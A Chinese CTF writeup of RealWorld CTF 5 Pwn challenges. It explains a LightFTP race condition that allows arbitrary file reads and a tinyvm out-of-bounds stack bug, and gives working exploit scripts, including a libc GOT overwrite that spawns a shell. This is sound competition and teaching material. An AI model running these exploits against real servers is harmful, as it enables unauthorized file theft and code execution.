5th RealWorld CTF 部分 Pwn 题 Writeup
Chat-In
1
2
3
4
5
(pts: 34, solved: 628)
check-in ,difficulty:Baby
ひとーつ、ひいきは绝対せず! ふたーつ、不正は见逃さず! みっつ、见事にジャッジする! I'm <strong>not a Linux terminal</strong>. I'm the Chat-In robot for you!
nc 47.89.251.203 1337
nc 47.88.62.215 1337
NonHeavyFTP
1
2
3
4
5
6
7
8
(pts: 98, solved: 53)
Clone-and-Pwn, difficulty:Baby
A non-heavy FTP for you.
# primary
$ nc 47.89.253.219 2121
# backup
$ nc 47.89.253.219 2221
Note: bruteforce <strong>NOT</strong> required, please be gentle. Server will be restarted every 5 miniutes.
题目程序是一个 FTP 服务器软件 LightFTP。从 fftp.conf 可知允许匿名登录,FTP 目录为 /server/data/
1
2
3
4
[anonymous]
pswd=*
accs=readonly
root=/server/data/
由 Dockerfile 可知 flag 位于根目录,且 flag 文件名为随机生成的。
1
RUN mv /flag /flag.`uuid` &&\
LIST
和 RETR
命令存在竞争条件漏洞,可以列出任意路径目录或下载任意路径文件。
RETR
命令下载文件逻辑如下。首先调用 ftp_effective_path()
将用户传递的路径转换为绝对路径,将结果保存在 context->FileName
中,然后检查 context->FileName
指向的文件是否存在,若存在则创建新线程 retr_thread
将文件发送给用户。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void *retr_thread(PFTPCONTEXT context)
{
[...]
// https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L672
// 打开并读取 context->FileName 指向的文件
f = open(context->FileName, O_RDONLY);
context->File = f;
if (f == -1)
break;
[...]
}
// https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L750
int ftpRETR(PFTPCONTEXT context, const char *params)
{
[...]
// 将用户指定的路径 params 转换为绝对路径,将结果放置在 context->FileName
// 例如:`RETR hello.txt` -> context->FileName = "/server/data/hello.txt"
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);
while (stat(context->FileName, &filestats) == 0)
{
[...]
// 创建新线程发送文件给用户
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))retr_thread, context);
[...]
}
return sendstring(context, error550);
}
因为程序没有给 context->FileName
加锁,我们可以在 retr_thread
线程打开文件前,利用其他命令修改 context->FileName
为我们指定的路径,从而实现下载任意路径文件。
我们这里利用 USER
命令修改 context->FileName
:
1
2
3
4
5
6
7
8
9
// https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L253
int ftpUSER(PFTPCONTEXT context, const char *params)
{
[...]
/* Save login name to FileName for the next PASS command */
strcpy(context->FileName, params);
return 1;
}
列出目录命令 LIST
存在与 RETR
类似的漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void *list_thread(PFTPCONTEXT context)
{
[...]
// https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L504
pdir = opendir(context->FileName);
if (pdir == NULL)
break;
[...]
}
// https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L541
int ftpLIST(PFTPCONTEXT context, const char *params)
{
[...]
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);
while (stat(context->FileName, &filestats) == 0)
{
[...]
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))list_thread, context);
[...]
}
return sendstring(context, error550);
}
EXP 脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64", log_level="debug")
def cmd(s):
p.send(s+"\r\n")
p.recvuntil("\r\n")
p = remote("47.89.253.219", 2121)
p.recvuntil("\r\n")
# 1. 登录 FTP 服务器
cmd("USER anonymous")
cmd("PASS anonymous")
# 2. 指定接收目录/文件数据的 IP 地址和端口
# 前 4 个是 IP 地址,后 2 个是端口 (这里是 42505 = 166 * 256 + 9)
# 注意这个 IP 地址要求与连接 FTP 服务器的 IP 相同
cmd("PORT XXX,XXX,XXX,XXX,166,9")
# 3. 发送 RETR/LIST 指令后,马上发送 USER 指令修改 context->FileName
# ~ p.send("LIST /\r\n")
# ~ cmd("USER ../../../../../")
p.send("RETR hello.txt\r\n")
cmd("USER ../../../../../flag.deb10154-8cb2-11ed-be49-0242ac110002")
p.recvuntil("\r\n")
p.interactive()
登录 FTP 服务器、指定 VPS 的 IP 和端口号为接收数据地址;执行 LIST /
命令,然后马上发送 USER
命令进行竞争条件,将 context->FileName
修改为 ../../../../../
;若竞争条件成功,VPS 可以接收到根目录下的文件信息,得到 flag 文件名 flag.deb10154-8cb2-11ed-be49-0242ac110002
;最后再次竞争条件,利用 RETR
命令下载 flag 即可。
tinyvm
1
2
3
(pts: 188, solved: 22)
Clone-and-Pwn, difficulty:Baby
This is a CTF challenge called TinyVM. The author is very lazy, not wanting to write a description of the challenge, and the code is directly cloned from [https://github.com/jakogut/tinyvm](https://github.com/jakogut/tinyvm). So you can just nc 198.11.180.84 6666 and get flag.
TinyVM 实现了一个简单的 x86 虚拟机。经源码审计发现 pop
和 push
指令没有检查边界。
1
2
3
4
5
6
7
8
9
10
11
12
// https://github.com/jakogut/tinyvm/blob/10c25d83e442caf0c1fc4b0ab29a91b3805d72ec/include/tvm/tvm_stack.h
static inline void tvm_stack_push(struct tvm_mem *mem, int *item)
{
mem->registers[0x6].i32_ptr -= 1;
*mem->registers[0x6].i32_ptr = *item;
}
static inline void tvm_stack_pop(struct tvm_mem *mem, int *dest)
{
*dest = *mem->registers[0x6].i32_ptr;
mem->registers[0x6].i32_ptr += 1;
}
虚拟机栈内存正好位于 libc.so 上方。因此通过修改 esp 寄存器和利用 pop/push
指令可以读写任意偏移 libc.so 内存。
远程环境 libc 版本是 2.35。这里使用的 getshell 方法是修改 libc.so GOT 表,触发 malloc_printerr()报错执行 one gadget。
跟大部分 ELF 可执行程序一样,libc.so 内部也有 GOT 表。因为没有开启 FULL RELRO
保护机制,这张 GOT 表是可写的。
在 IDA 中,这些 GOT 表函数的名称都是以 j_
开头的,以区别同名的外部函数。libc.so GOT 表函数大部分跟内存和字符串操作有关,如 memcpy, strlen, memset 等。
libc.so 许多内部函数直接或间接调用 GOT 表函数,例如 malloc()/free()
检查到错误时调用的 malloc_printerr()
。malloc_printerr()
内部调用 __libc_message()
输出报错信息,这个函数间接调用了 j_strlen()
这个 GOT 表函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
[...]
while (*<strong>cp</strong> != '\0'){
[...]
/* Determine what to print. */
const char *str;
size_t len;
if (cp[0] == '%' && cp[1] == 's')
{
str = va_arg (ap, const char *);
len = strlen (str); <-------
cp += 2;
}
[...]
}
}
static void
malloc_printerr (const char *str)
{
#if IS_IN (libc)
__libc_message (do_abort, "%s\n", str); <-------
[...]
}
但是,不能直接将 strlen()
GOT 表地址改为 one gadget 地址。因为此时的寄存器值满足不了 one gadget 约束条件。
受到这篇 writeup 启发,我们可以利用下面这个 gadget,先将寄存器置零然后调用 one gadget。
1
2
3
4
.text:0xEEC55 <glob64+1701> mov rsi, r12
.text:0xEEC58 <glob64+1704> mov rdi, r13
.text:0xEEC5B <glob64+1707> mov rdx, r14
.text:0xEEC5E <glob64+1710> call j_mempcpy
这个 gadget 将 rsi, rdx 设置为 r12, r14 的值,然后调用另一个 GOT 表函数 memcpy()
。
经调试可以发现,__libc_message()
调用 strlen()
时,r12 和 r14 的值恰好为零。
这是因为 __libc_message()
开头把 r12d 和 r14d 置零了。
这个特性若结合上面提到的 glob64 gadget,刚好满足下面这个 one gadget 的约束条件:
1
2
3
4
5
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
利用步骤如下:
- 将
strlen()
GOT 表地址改为 glob64 gadget,memcpy()
GOT 表地址改为 one gadget 地址; - 触发
malloc_printerr()
报错(可以将某个 chunk 的 size 改为非法值,然后 free 这个 chunk); __libc_message()
调用j_strlen()
,glob64 gadget 将 rsi, rdx 寄存器置零;- glob64 gadget 调用
j_memcpy()
,进入 one gagdet,由于已满足约束条件,成功弹 shell;
exp.vm 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Overwrite chunk size to an invaild value
mov eax, 2097156
sub esp, eax
mov eax, 0
push eax
# Overwrite strlen GOT entry to $libc+0xEEC55
#.text:00000000000EEC55 mov rsi, r12
#.text:00000000000EEC58 mov rdi, r13
#.text:00000000000EEC5B mov rdx, r14
#.text:00000000000EEC5E call j_mempcpy
mov eax, 69324792
add esp, eax
mov eax, 152
add esp, eax # esp = $libc+0x219098
mov eax, 800203
pop ebx
sub ebx, eax
push ebx
# Overwrite memcpy GOT entry to one gadget ($libc+0xebcf8)
#0xebcf8 execve("/bin/sh", rsi, rdx)
#constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
mov eax, 88
sub esp, eax # esp = $libc+0x219040
mov eax, 799240
pop ebx
sub ebx, eax
push ebx
# Then, due to the invaild chunk size, free() will call malloc_printerr(),
# which will later call j_strlen() to set rsi, rdx as zero and trigger the one gadget